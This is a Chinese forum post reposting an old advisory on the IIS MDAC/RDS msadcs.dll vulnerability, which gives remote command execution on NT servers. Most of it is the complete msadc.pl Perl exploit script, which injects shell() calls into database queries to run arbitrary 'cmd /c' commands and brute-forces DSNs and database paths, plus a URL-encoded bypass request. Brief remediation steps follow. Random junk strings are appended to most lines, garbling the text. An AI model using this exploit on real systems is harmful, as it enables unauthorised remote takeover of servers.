社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 166987阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) y'ZRoakz)  
_wa1R+`_  
涉及程序: Z)RoFD1]C  
Microsoft NT server ES~ykE  
%i!&Fr  
描述: Z:Hk'|q}I  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 A"wor\(  
YQU #aOl  
详细: ^j"*-)R  
如果你没有时间读详细内容的话,就删除: m2!y;)F0  
c:\Program Files\Common Files\System\Msadc\msadcs.dll gwvy$H   
有关的安全问题就没有了。 dA;f`Bi;Q  
c< ke)@  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 `4 Jlf!  
yqdh LX|Mk  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Jh3(5d"MV  
关于利用ODBC远程漏洞的描述,请参看: RS'%;B-)  
&|t*9 D  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 9~8UG (  
j5lSu~  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 nl9G1Sm(E  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp N7A/&~g5L  
SKx&t-  
这里不再论述。 B>dXyo  
CO25  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Pb05>J3N  
fD8A+aA  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset "Dbjp5_  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! [C@0&[[  
oM`[&m.,  
-5 -X[`cF  
#将下面这段保存为txt文件,然后: "perl -x 文件名" S`yY<1[O  
: b^\O  
#!perl ]YF[W`2h  
# aBX^Wd  
# MSADC/RDS 'usage' (aka exploit) script Y<X,(\iEHP  
# l`s_Id#  
# by rain.forest.puppy 9Ra_[1  
# y99 3uP   
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me L_Q1:nL-0  
# beta test and find errors! 'Wv=mBEfZ  
Do3;-yp>`  
use Socket; use Getopt::Std; ocwh*t)<k  
getopts("e:vd:h:XR", \%args); wIi_d6?  
2=pVX  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; )*[3Imq/  
cC'{+j8-a  
if (!defined $args{h} && !defined $args{R}) { ?zwPF;L*  
print qq~ R8 1z|+c|_  
Usage: msadc.pl -h <host> { -d <delay> -X -v } nK*$P +[R  
-h <host> = host you want to scan (ip or domain) l@-J&qG  
-d <seconds> = delay between calls, default 1 second OSc&n>\t  
-X = dump Index Server path table, if available Ip}(!D|  
-v = verbose 86J7%;^Xa  
-e = external dictionary file for step 5 u_.`I8qa  
rYI9?q  
Or a -R will resume a command session Q<$I,C]  
cX$ Pq  
~; exit;} /"d5<B`%  
~2Jvb[IM  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; +(d\`{A  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Z_&6 <1,H  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Yc+0OBH[  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); [eV!ho*r  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} {b4+ Yc  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } <5*cc8  
0w?\KHT  
if (!defined $args{R}){ $ret = &has_msadc; r0=Aru5n  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Y$8 >fv  
KL]@y!QU  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" "y@B|  
. "cmd /c "; W2Y%PD9a  
$in=<STDIN>; chomp $in; SJhcmx+  
$command="cmd /c " . $in ; e-Z+)4fH  
.%>UA|[~:  
if (defined $args{R}) {&load; exit;} S[!-M\b  
X^4HYm  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; >U@7xeK  
&try_btcustmr; r 5::c= Cl  
P@LYa_UFsN  
print "\nStep 2: Trying to make our own DSN..."; HpI[Af}l  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; (7w`BR9B  
+,=DUsI}  
print "\nStep 3: Trying known DSNs..."; qG.HJD  
&known_dsn; aL@myq.  
r=[T5,L(s  
print "\nStep 4: Trying known .mdbs..."; )+2GF0%  
&known_mdb; )&[S*g  
>jU.R;H5  
if (defined $args{e}){ 0sW=;R2  
print "\nStep 5: Trying dictionary of DSN names..."; R.Xh&@f`  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ON~jt[  
g1-^@&q  
print "Sorry Charley...maybe next time?\n"; ?.#?h>MS{s  
exit; C Sx V^  
HJT}v/FZ  
############################################################################## -7)%J+5  
?<c)r~9]  
sub sendraw { # ripped and modded from whisker E/@w6uIK[  
sleep($delay); # it's a DoS on the server! At least on mine... Afi;s. ,  
my ($pstr)=@_; 7a.$tT  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || uNe5Mv|}  
die("Socket problems\n"); x_lCagRGC4  
if(connect(S,pack "SnA4x8",2,80,$target)){ cOa.]Kk  
select(S); $|=1; zJNiAc  
print $pstr; my @in=<S>; _y{z%-  
select(STDOUT); close(S); JgXP2|Y!  
return @in; xj~ /C5@  
} else { die("Can't connect...\n"); }} ,w%cX{  
iK{ a9pt  
############################################################################## y\&GPr  
/7#KkMg  
sub make_header { # make the HTTP request VR/7CI4=  
my $msadc=<<EOT +grIw# j  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 FHWzwi*u}  
User-Agent: ACTIVEDATA  ?CKINN  
Host: $ip *'=JT#  
Content-Length: $clen a=bP   
Connection: Keep-Alive 8:hUj>q x  
\ } ,="  
ADCClientVersion:01.06 x]|8  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 .8[B }S(  
')%Kv`hz  
--!ADM!ROX!YOUR!WORLD! HlEp Dph%  
Content-Type: application/x-varg e<s56<3j  
Content-Length: $reqlen 1'tagv?  
+-~hl  
EOT ],vUW#6$N  
; $msadc=~s/\n/\r\n/g; >&V?1!N"  
return $msadc;} 5`CPaJT$  
rJi;"xF8  
############################################################################## Oo{+W 5[  
1jU<]09.  
sub make_req { # make the RDS request $!P(Q  
my ($switch, $p1, $p2)=@_; (as'(+B  
my $req=""; my $t1, $t2, $query, $dsn; ^zn j J\  
5zXw0_  
if ($switch==1){ # this is the btcustmr.mdb query ]37k\O?vd  
$query="Select * from Customers where City=" . make_shell(); t]1j4S"pm  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 6||zwwk'.  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} #|'&%n|Z  
 5|2v6W!e  
elsif ($switch==2){ # this is general make table query [9S\3&yoh  
$query="create table AZZ (B int, C varchar(10))"; No8~~  
$dsn="$p1";} D6&fDhO27  
.ruGS.nS4  
elsif ($switch==3){ # this is general exploit table query /5M@>A^?'  
$query="select * from AZZ where C=" . make_shell(); 9An_zrJ%i  
$dsn="$p1";} z-(@j;.  
GFd~..$  
elsif ($switch==4){ # attempt to hork file info from index server .sNUU 3xSC  
$query="select path from scope()"; *xB9~:  
$dsn="Provider=MSIDXS;";} ~I<yN`5(a  
`M?C(  
elsif ($switch==5){ # bad query c|q!C0X[  
$query="select"; @7 xb/&N  
$dsn="$p1";} IxC/X5Mp^q  
}}Ah-QU  
$t1= make_unicode($query); seWYY $$  
$t2= make_unicode($dsn); ]Hk8XT@Q+  
$req = "\x02\x00\x03\x00"; <4s$$Uw}6%  
$req.= "\x08\x00" . pack ("S1", length($t1)); NQefrof  
$req.= "\x00\x00" . $t1 ; 5 OR L  
$req.= "\x08\x00" . pack ("S1", length($t2)); >o #^r;  
$req.= "\x00\x00" . $t2 ; '@'~_BBZP  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Sqj'2<~W  
return $req;} w$Lpuu n{  
)yp+!\  
############################################################################## z7V74hRPX  
Kl.xe&t@j  
sub make_shell { # this makes the shell() statement .Lz\/ OS  
return "'|shell(\"$command\")|'";} _urv We  
]Cy1yAv={  
############################################################################## ;8m_[gfw  
ypE cjVP D  
sub make_unicode { # quick little function to convert to unicode AkdONKO8{  
my ($in)=@_; my $out; hU=n>g>nx  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } /C"dwh"``  
return $out;} ?CGbnXZ4Ug  
F XJI,(:-  
############################################################################## =)5eui>{  
XE);oL2xP  
sub rdo_success { # checks for RDO return success (this is kludge) #UGtYD}"  
my (@in) = @_; my $base=content_start(@in); >QRpRHtb  
if($in[$base]=~/multipart\/mixed/){ 5_";EED  
return 1 if( $in[$base+10]=~/^\x09\x00/ );}  TA;  
return 0;} J \U}U'qP  
\[&`PD  
############################################################################## ^S!^$d*  
sl^i%xJ|l'  
sub make_dsn { # this makes a DSN for us ~5$V8yfx h  
my @drives=("c","d","e","f"); )qs>Z?7  
print "\nMaking DSN: "; X~XpX7d!  
foreach $drive (@drives) {  4"72  
print "$drive: "; Z\8TpwD2  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . -E~pCN(E  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" b*=eMcd  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Y%!3/3T  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; H&\Ig D  
return 0 if $2 eq "404"; # not found/doesn't exist :NJb<%$  
if($2 eq "200") { *IWO ,!  
foreach $line (@results) { z VleJ!d  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} tU7,nE>p  
} return 0;} A2 r1%}{  
)@)wcf!b  
############################################################################## FNlzpCT~L  
?_36uJo}  
sub verify_exists { "e62g  
my ($page)=@_; +@D [%l|  
my @results=sendraw("GET $page HTTP/1.0\n\n"); SPKGbp&  
return $results[0];} $ hwJjSZ0  
4L#q?]$  
############################################################################## n[4F\I>  
, Zs:e.  
sub try_btcustmr { *qKPZb~  
my @drives=("c","d","e","f"); vy W/f  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 1zNH[   
9ui_/[K  
foreach $dir (@dirs) { M B|+F  
print "$dir -> "; # fun status so you can see progress @? 4-  
foreach $drive (@drives) { b['Jr% "O  
print "$drive: "; # ditto W6f?/{Oo8  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; [*zB vj}G  
$reqlenlen=length( "$reqlen" ); HFYN(nz}[  
$clen= 206 + $reqlenlen + $reqlen; qPsf`nI7  
u '-4hU  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); TR3_!0  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} hX4&B  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ^n#6CW*n  
`Q?rQ3A}  
############################################################################## S'T&`"Mr  
ZrJAfd\5c  
sub odbc_error { `.Z MwA  
my (@in)=@_; my $base; B6&PYMFK?*  
my $base = content_start(@in); mk?&`_X1  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this  B[jCe5!w  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; oiYI$ql3L  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; UD1R _bL}  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~oO>6  
return $in[$base+4].$in[$base+5].$in[$base+6];} xaQ]Vjw  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; eqD|3YX  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . -g8G47piX:  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} K!^x+B|  
$%!'c# F  
############################################################################## zr%2oFeX,  
$p@V1"x  
sub verbose { 6|gC##T  
my ($in)=@_; @,0W(  
return if !$verbose; W/COrgbW  
print STDOUT "\n$in\n";} LwIl2u*  
?)<DEu:Y  
############################################################################## K#q1/2  
_jt>%v4}4  
sub save { l<I.;FN^9@  
my ($p1, $p2, $p3, $p4)=@_; Gs]m; "o|  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; t.|b285e  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ) jBPt&  
close OUT;} ?&?gQ#\N_J  
Hq'mv_}qG  
############################################################################## (0/g)gW  
%>^CD_[eO  
sub load { 0NlC|5ma)  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; b*w izd  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ${\iHg[vZ  
@p=<IN>; close(IN); x]o~ %h$  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ZN75ON L  
$target= inet_aton($ip) || die("inet_aton problems"); 0LX;Vvo  
print "Resuming to $ip ..."; ^hPREbD+f  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; jA@jsv  
if($p[1]==1) { C}grY5 :  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ST'M<G%4E  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; }gw \w?/  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); k?-GI[@X  
if (rdo_success(@results)){print "Success!\n";}  WK;X6`  
else { print "failed\n"; verbose(odbc_error(@results));}} ?v8.3EE1\o  
elsif ($p[1]==3){ ?;NC(Z,  
if(run_query("$p[3]")){ 297X).  
print "Success!\n";} else { print "failed\n"; }} Ax &Z=  
elsif ($p[1]==4){ H4DM,.04  
if(run_query($drvst . "$p[3]")){ Q?df5{6  
print "Success!\n"; } else { print "failed\n"; }} E`68Z/%  
exit;} ,e\'Y!'  
.$nQD.X  
############################################################################## ! h7?Ap  
:t?Z  
sub create_table { h!l&S2)D`  
my ($in)=@_; :l~^un|<2Y  
$reqlen=length( make_req(2,$in,"") ) - 28; -Lh\]  
$reqlenlen=length( "$reqlen" ); UYJMW S=  
$clen= 206 + $reqlenlen + $reqlen; u0^Vy#@_  
my @results=sendraw(make_header() . make_req(2,$in,"")); TC7&IqT  
return 1 if rdo_success(@results); c^$_epc*  
my $temp= odbc_error(@results); verbose($temp); LLE\;,bv  
return 1 if $temp=~/Table 'AZZ' already exists/; x'dU[f(  
return 0;} ;!H<W[  
c:QZ(8d]L  
############################################################################## i*-[-hn-V  
~,j52obR6Z  
sub known_dsn { I =G3  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go >2Z0XEe  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Mrpz(})  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", .W4P/P w'  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); -|s w\Q  
N.r8dC  
foreach $dSn (@dsns) { f.Wip)g  
print "."; (bpO>4(S  
next if (!is_access("DSN=$dSn")); HLMcOuj  
if(create_table("DSN=$dSn")){ Wp7lDx  
print "$dSn successful\n"; b EB3 #uc  
if(run_query("DSN=$dSn")){ 6&jW.G8/  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { kg0X2^#b  
print "Something's borked. Use verbose next time\n";}}} print "\n";} @)[Q6w`x  
RsTz3]`yv  
############################################################################## bs_>!H1  
4^4<Le-G  
sub is_access { *4]u?R  
my ($in)=@_; KZ8Hp=s  
$reqlen=length( make_req(5,$in,"") ) - 28; 3<Qe'd ^  
$reqlenlen=length( "$reqlen" ); NX wthc3  
$clen= 206 + $reqlenlen + $reqlen; \YXzq<7  
my @results=sendraw(make_header() . make_req(5,$in,"")); tOUpK20q.@  
my $temp= odbc_error(@results); i_/A,5TF  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); +qN}oyL  
return 0;} j1[Ng #.  
Vf28R,~m  
############################################################################## rw:z|-r  
N{/):O  
sub run_query { zVEG ) Hr  
my ($in)=@_; Vr/UY79  
$reqlen=length( make_req(3,$in,"") ) - 28; (2 nSZRB  
$reqlenlen=length( "$reqlen" ); EI+RF{IKh  
$clen= 206 + $reqlenlen + $reqlen; "==fWf  
my @results=sendraw(make_header() . make_req(3,$in,"")); =rL%P~0wq  
return 1 if rdo_success(@results); W4MU^``   
my $temp= odbc_error(@results); verbose($temp); I8ZBs0sfF{  
return 0;} zG IxmJ.  
1f 3c3PJ  
############################################################################## [)efh9P*  
S($8_u$U  
sub known_mdb { q!L@9&KAQ  
my @drives=("c","d","e","f","g"); Jd]kg,/  
my @dirs=("winnt","winnt35","winnt351","win","windows"); &m{SWV+   
my $dir, $drive, $mdb; tVI6GXH  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 244[a] %&;  
> nHaMj  
# this is sparse, because I don't know of many \mK;BWg)  
my @sysmdbs=( "\\catroot\\icatalog.mdb", aMU0BS"   
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Gm`#0)VC  
"\\system32\\certmdb.mdb", zWs ("L(#s  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% h7 r *5E  
}4Q~<2  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 3?%?J^/a  
"\\cfusion\\cfapps\\forums\\forums_.mdb", RA];hQI?  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", o]R*6$  
"\\cfusion\\cfapps\\security\\realm_.mdb", '{>R-}o[3  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 1>~bzXY#  
"\\cfusion\\database\\cfexamples.mdb", 0H9UM*O  
"\\cfusion\\database\\cfsnippets.mdb", G4&vrM,f  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", pL [JGn  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", \&!qw[;O  
"\\cfusion\\brighttiger\\database\\cleam.mdb", k-V3l  
"\\cfusion\\database\\smpolicy.mdb", Py@/\V  
"\\cfusion\\database\cypress.mdb", .z+S @s[O  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", -eE r|Gs)  
"\\website\\cgi-win\\dbsample.mdb", .}n-N #  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 19h@fA[:  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" #gq!L  
); #these are just ?hC,49  
foreach $drive (@drives) { {>v5~G  
foreach $dir (@dirs){ nrEG4X9  
foreach $mdb (@sysmdbs) { e=ITAH3b  
print "."; VTUY#+3  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 0<3->uK  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; }xa~U,#5  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ L'?7~Cdls  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; n0a|GZyO]  
} else { print "Something's borked. Use verbose next time\n"; }}}}} mz>GbImVD~  
'w$jVX/  
foreach $drive (@drives) { z=FOymv C  
foreach $mdb (@mdbs) { mb\"qD5  
print "."; Svicw`uX0  
if(create_table($drv . $drive . $dir . $mdb)){ -~_[2u^3  
print "\n" . $drive . $dir . $mdb . " successful\n"; ,K W IuCU;  
if(run_query($drv . $drive . $dir . $mdb)){ 7oy}<9  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 7 :C_{\(  
} else { print "Something's borked. Use verbose next time\n"; }}}} wU}%]FqtZ=  
} &7J-m4BI  
%&iodo,EP'  
############################################################################## S+ 3l X7  
Q\W?qB_  
sub hork_idx { {*PbD;/f  
print "\nAttempting to dump Index Server tables...\n"; WGwIc7  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 1IPRI<1U  
$reqlen=length( make_req(4,"","") ) - 28; : L+%5Jq  
$reqlenlen=length( "$reqlen" ); 9)?_[|2  
$clen= 206 + $reqlenlen + $reqlen; koojF|H>  
my @results=sendraw2(make_header() . make_req(4,"","")); <B&vfKO^h  
if (rdo_success(@results)){ 14pyHMOR  
my $max=@results; my $c; my %d; vojXo|c  
for($c=19; $c<$max; $c++){ agGgj>DDd  
$results[$c]=~s/\x00//g; 8=MNzcA }  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; PjG^L FX  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; H~NK:qRzK  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 0-Ga2Go9  
$d{"$1$2"}="";} wgUgNwd1  
foreach $c (keys %d){ print "$c\n"; } kNd(KQ<.17  
} else {print "Index server doesn't seem to be installed.\n"; }} ^wIg|Gc  
i5 0c N<o  
############################################################################## *S<d`mp[  
ZLZh$eZZ  
sub dsn_dict { LgxsO:mi  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); *x-@}WY$U  
while(<IN>){ e>2KW5.  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; (O$il  
next if (!is_access("DSN=$dSn")); eH ]9"^> o  
if(create_table("DSN=$dSn")){ at+Nd K  
print "$dSn successful\n"; \0veld  
if(run_query("DSN=$dSn")){ ]!X[[w)  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Sby(?yg  
print "Something's borked. Use verbose next time\n";}}} dKQu  
print "\n"; close(IN);} AM0CIRX$  
v[<x>?i D_  
############################################################################## w9w=2 *  
Sq SiuO.D  
sub sendraw2 { # ripped and modded from whisker ` 7P%muY.  
sleep($delay); # it's a DoS on the server! At least on mine... 9e*o$)j_  
my ($pstr)=@_; m-2!r*(zt  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || nX_w F`n"  
die("Socket problems\n"); 8ZF!}kb0F  
if(connect(S,pack "SnA4x8",2,80,$target)){ }nRTw2-z  
print "Connected. Getting data"; 34,'smHi%  
open(OUT,">raw.out"); my @in; K!,9qH  
select(S); $|=1; print $pstr; Yosfk\D  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} \iRmGvT  
close(OUT); select(STDOUT); close(S); return @in; IP  
} else { die("Can't connect...\n"); }} ,MjlA{0  
c'INmc I|  
############################################################################## MCAWn H  
`>- 56 %  
sub content_start { # this will take in the server headers 0|DyYu  
my (@in)=@_; my $c; fcTg/EXn  
for ($c=1;$c<500;$c++) { &u!MI  
if($in[$c] =~/^\x0d\x0a/){ ti^=aB   
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } skYHPwJdW  
else { return $c+1; }}} VGf&'nL@,  
return -1;} # it should never get here actually t)5.m}  
if?X^j0  
############################################################################## e>m+@4*sn  
t$3B#=  
sub funky { wBJ|%mc3TA  
my (@in)=@_; my $error=odbc_error(@in); R"y xpw  
if($error=~/ADO could not find the specified provider/){ \fsNI T/  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; rvacCwI  
exit;} P(UY}oU  
if($error=~/A Handler is required/){ +G6 Ge;  
print "\nServer has custom handler filters (they most likely are patched)\n"; 0a2#36;_IK  
exit;} 3a[LM!  
if($error=~/specified Handler has denied Access/){ dZY|6  
print "\nServer has custom handler filters (they most likely are patched)\n"; rJ{k1H>  
exit;}} Z,DSTP\|  
8!{ }WLwb  
############################################################################## u+O"c  
"rrw~  
sub has_msadc { vm7ag 7@O  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Rk-G| 52g  
my $base=content_start(@results); <TTBIXV  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); A34O(fE  
return 0;} -,Js2+QZ#  
~z(0XKq0d  
######################## Z*b$&nM  
<G0Ut6J>  
Z2 Vri  
解决方案: `An p;el  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll !+z&] S3s  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 wv`ar>qVL  
#Cx#U"~G`  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八